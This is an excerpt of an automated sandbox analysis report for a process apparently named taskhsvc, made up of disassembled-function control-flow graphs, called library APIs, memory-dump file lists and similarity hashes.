                                        Function 00D26206 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 228stringCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 400 d26206-d26235 401 d26237-d26247 400->401 402 d26249-d26275 call d16562 call d19764 abort 400->402 401->402 403 d2627a-d26282 401->403 402->403 406 d26284-d26294 fclose 403->406 407 d262ee-d262f6 403->407 409 d2629a-d262ec strerror call d13842 406->409 410 d2635c-d26368 406->410 407->410 411 d262f8-d26308 _close 407->411 409->410 413 d2636e-d2637d 410->413 414 d264ed-d264fd 410->414 411->410 415 d2630a-d26359 strerror call d13842 411->415 416 d26391-d263bd call d16562 call d19764 abort 413->416 417 d2637f-d2638f 413->417 419 d26517-d26526 414->419 420 d264ff-d26510 free 414->420 415->410 423 d263c2-d263c6 416->423 417->416 417->423 421 d26528-d26538 free 419->421 422 d2653e-d2654a 419->422 420->419 421->422 427 d2655e-d2656a 422->427 428 d2654c-d26557 free 422->428 431 d26432-d26453 strcmp 423->431 432 d263c8-d263dc _unlink 423->432 437 d26571-d26572 427->437 438 d2656c __stack_chk_fail 427->438 428->427 435 d26486-d26498 call d16761 431->435 436 d26455-d26481 call d16562 call d19764 abort 431->436 432->414 440 d263e2-d2642d strerror call d13842 432->440 445 d2649d-d2649f 435->445 436->435 438->437 440->414 445->414 448 d264a1-d264e6 strerror call d13842 445->448 448->414
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: strerror$abortfree$__stack_chk_fail_close_unlinkfclosestrcmp
                                        • String ID: 5
                                        • API String ID: 2086477376-54344023
                                        • Opcode ID: 99186ffc0945db6454dd98a7c3d509e9400675afbef172a357dae5c5c71ce00e
                                        • Instruction ID: 92cddb602ca0c663de5df85938eb3dc23f942d32814e2300e7fa099b69487d87
                                        • Opcode Fuzzy Hash: 99186ffc0945db6454dd98a7c3d509e9400675afbef172a357dae5c5c71ce00e
                                        • Instruction Fuzzy Hash: DDA1E5B4A043068FDB00EFA9D54566EBBF1AF48354F05C859E8A8EB351D738E941CB62
                                        Function 00BC73E6 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 153stringCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 526 bc73e6-bc740a strcmp 527 bc740c-bc7426 strcmp 526->527 528 bc7428 526->528 527->528 529 bc7432-bc744c strcmp 527->529 528->529 530 bc74fe-bc7505 529->530 531 bc7452-bc746c strcmp 529->531 532 bc7507 530->532 533 bc7511-bc7557 call ce40b6 * 2 530->533 531->530 534 bc7472-bc748c strcmp 531->534 532->533 545 bc7559-bc7575 call d14127 533->545 546 bc7577 533->546 534->530 535 bc748e-bc74a8 strcmp 534->535 535->530 537 bc74aa-bc74c4 strcmp 535->537 537->530 539 bc74c6-bc74e0 strcmp 537->539 539->530 541 bc74e2-bc74fc strcmp 539->541 541->530 541->533 547 bc7578-bc7622 call c1faab call d43078 call d35d43 call dec348 call d188be call d13842 * 2 strstr 545->547 546->547 565 bc763e-bc765d call d13842 547->565 566 bc7624-bc763c strstr 547->566 567 bc7662 call d19204 565->567 566->565 566->567 570 bc7667-bc77a2 call d13842 567->570 575 bc77a9-bc77b3 570->575 576 bc77a4 __stack_chk_fail 570->576 576->575
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: strcmp
                                        • String ID: ,$,
                                        • API String ID: 1004003707-3228553458
                                        • Opcode ID: 50ef923045e679eac56544a0dd3c6fcac591814dce0c075e7aca751e4ca1ace1
                                        • Instruction ID: d964cccbee64637e125a45f324e0244001320b4a2b018c3b0ea9c0b700d580da
                                        • Opcode Fuzzy Hash: 50ef923045e679eac56544a0dd3c6fcac591814dce0c075e7aca751e4ca1ace1
                                        • Instruction Fuzzy Hash: E66105B09097048FCB10AF68C845B9DBBF4EF89314F01889CE988AB351DB74D9D49F62
                                        Function 00CDE4A0 Relevance: 23.7, APIs: 11, Strings: 2, Instructions: 919stringCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 577 cde4a0-cde4fb 578 cde4fd-cde529 call d16562 call d19764 abort 577->578 579 cde52e-cde590 call d34233 call d22710 577->579 578->579 588 cde5c3-cde600 memchr 579->588 589 cde592-cde5be call d16562 call d19764 abort 579->589 591 cde60e-cde625 588->591 592 cde602-cde608 588->592 589->588 594 cde68c-cde6de call d22918 call d22414 591->594 595 cde627-cde62e 591->595 592->591 609 cde724-cde732 594->609 610 cde6e0-cde722 call d22871 call d22918 594->610 598 cde63e-cde687 call d34233 call d342f8 595->598 599 cde630-cde639 call cdddb7 595->599 613 cdf455-cdf464 598->613 599->598 611 cde799-cde7a3 609->611 612 cde734-cde73b 609->612 610->611 617 cdeb81-cdeb9f 611->617 615 cde73d-cde746 call cdddb7 612->615 616 cde74b-cde794 call d34233 call d342f8 612->616 619 cdf46b-cdf473 613->619 620 cdf466 __stack_chk_fail 613->620 615->616 616->613 623 cde7a8-cde7f2 call d22414 617->623 624 cdeba5 617->624 620->619 636 cde7f8-cde8a3 call d22871 623->636 637 cdeb7a 623->637 628 cdeba8-cdebb5 624->628 632 cdebbb-cdebc9 628->632 633 cdec71-cdeca9 call d22710 628->633 638 cdebe8-cdebee 632->638 639 cdebcb-cdebd8 632->639 645 cdecdc-cded19 memchr 633->645 646 cdecab-cdecd7 call d16562 call d19764 abort 633->646 652 cde91d-cde94d call cde31b 636->652 653 cde8a5-cde8fc call d33fc6 call d3434a 636->653 637->617 640 cdebf4-cdec67 call d33fc6 call d3434a 638->640 639->638 643 cdebda-cdebe6 639->643 640->633 643->640 650 cded1f-cded34 645->650 651 cdf423-cdf44f call cdddf8 645->651 646->645 650->651 654 cded3a-cded54 call d223bf 650->654 651->613 668 cde953-cde982 call d16005 652->668 669 cde9e2-cde9ee 652->669 673 cde901-cde918 653->673 654->651 672 cded5a-cded79 654->672 684 cde984-cde98d call cdddb7 668->684 685 cde992-cde9dd call d34233 call d342f8 668->685 671 cde9f0-cdea20 669->671 675 cdeab5-cdeae5 671->675 676 cdea26-cdea55 call d16005 671->676 677 cded7b-cdedb3 memchr 672->677 678 cdedf3-cdedfa 672->678 673->671 686 cdeaeb-cdeb1a call d16005 675->686 687 cdeba7 675->687 696 cdea65-cdeab0 call d34233 call d342f8 676->696 697 cdea57-cdea60 call cdddb7 676->697 677->678 681 cdedb5-cdedd8 call d22414 677->681 682 cdedfc-cdee05 call cdddb7 678->682 683 cdee0a-cdee53 call d34233 call d342f8 678->683 681->678 704 cdedda-cdedf1 681->704 682->683 683->613 684->685 685->613 701 cdeb1c-cdeb25 call cdddb7 686->701 702 cdeb2a-cdeb75 call d34233 call d342f8 686->702 687->628 696->613 697->696 701->702 702->613 704->678 712 cdee58-cdef04 call d3434a call ccf5c4 704->712 723 cdef6b-cdef7f 712->723 724 cdef06-cdef0d 712->724 727 cdef81-cdefad call d16562 call d19764 abort 723->727 728 cdefb2-cdefe9 memchr 723->728 725 cdef1d-cdef66 call d34233 call d342f8 724->725 726 cdef0f-cdef18 call cdddb7 724->726 725->613 726->725 727->728 730 cdefeb-cdeff1 728->730 731 cdeff7-cdf014 728->731 730->731 735 cdf06b-cdf0a1 call d16005 731->735 736 cdf016-cdf040 call d22414 731->736 746 cdf0b1-cdf0fc call d34233 call d342f8 735->746 747 cdf0a3-cdf0ac call cdddb7 735->747 736->735 748 cdf042-cdf065 call d22414 736->748 746->613 747->746 748->735 755 cdf101-cdf118 748->755 757 cdf17f-cdf19a strcmp 755->757 758 cdf11a-cdf121 755->758 759 cdf24e-cdf269 strcmp 757->759 760 cdf1a0-cdf1e3 call d365c1 call d36fc3 757->760 761 cdf131-cdf17a call d34233 call d342f8 758->761 762 cdf123-cdf12c call cdddb7 758->762 766 cdf26f-cdf2ae call d365c1 call d36a40 759->766 767 cdf319-cdf3a2 call d33fc6 call d31a54 759->767 782 cdf1e9-cdf1f0 760->782 783 cdf415-cdf421 760->783 761->613 762->761 766->783 786 cdf2b4-cdf2bb 766->786 784 cdf3a4-cdf3ab 767->784 785 cdf406-cdf412 767->785 787 cdf200-cdf249 call d34233 call d342f8 782->787 788 cdf1f2-cdf1fb call cdddb7 782->788 783->651 789 cdf3ad-cdf3b6 call cdddb7 784->789 790 cdf3bb-cdf404 call d34233 call d342f8 784->790 785->783 791 cdf2bd-cdf2c6 call cdddb7 786->791 792 cdf2cb-cdf314 call d34233 call d342f8 786->792 787->613 788->787 789->790 790->613 791->792 792->613
                                        APIs
                                        • abort.MSVCRT ref: 00CDE529
                                          • Part of subcall function 00D22918: __stack_chk_fail.LIBSSP-0 ref: 00D2296C
                                          • Part of subcall function 00D22414: strlen.MSVCRT ref: 00D2243C
                                          • Part of subcall function 00D22414: __stack_chk_fail.LIBSSP-0 ref: 00D22486
                                          • Part of subcall function 00D22871: __stack_chk_fail.LIBSSP-0 ref: 00D228C7
                                        • abort.MSVCRT ref: 00CDE5BE
                                        • memchr.MSVCRT ref: 00CDE5EE
                                        • abort.MSVCRT ref: 00CDECD7
                                        • memchr.MSVCRT ref: 00CDED07
                                        • memchr.MSVCRT ref: 00CDEDAC
                                        • __stack_chk_fail.LIBSSP-0 ref: 00CDF466
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT ref: 00CDEFAD
                                        • memchr.MSVCRT ref: 00CDEFD7
                                        • strcmp.MSVCRT ref: 00CDF193
                                          • Part of subcall function 00CDDDB7: __stack_chk_fail.LIBSSP-0 ref: 00CDDDF1
                                        • strcmp.MSVCRT ref: 00CDF262
                                          • Part of subcall function 00D365C1: RSA_new.LIBEAY32(?,?,?,?,?,?,?,?,?,00C59740), ref: 00D365D1
                                          • Part of subcall function 00D365C1: abort.MSVCRT ref: 00D36613
                                          • Part of subcall function 00D365C1: __stack_chk_fail.LIBSSP-0 ref: 00D3662E
                                          • Part of subcall function 00D36A40: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CDF2AC), ref: 00D36A9C
                                          • Part of subcall function 00D36A40: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CDF2AC), ref: 00D36ADB
                                          • Part of subcall function 00D36A40: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CDF2AC), ref: 00D36B2E
                                          • Part of subcall function 00D36A40: BIO_new_mem_buf.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CDF2AC), ref: 00D36B40
                                          • Part of subcall function 00D36A40: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CDF2AC), ref: 00D36BD8
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort$memchr$strcmpstrrchr$A_newO_new_mem_bufstrlen
                                        • String ID: $y
                                        • API String ID: 3971422639-857048621
                                        • Opcode ID: 6d0912d2b71c9eb16105d6799d76b6aab984e8f0a0d0b27f1ba5b3e0b084ec85
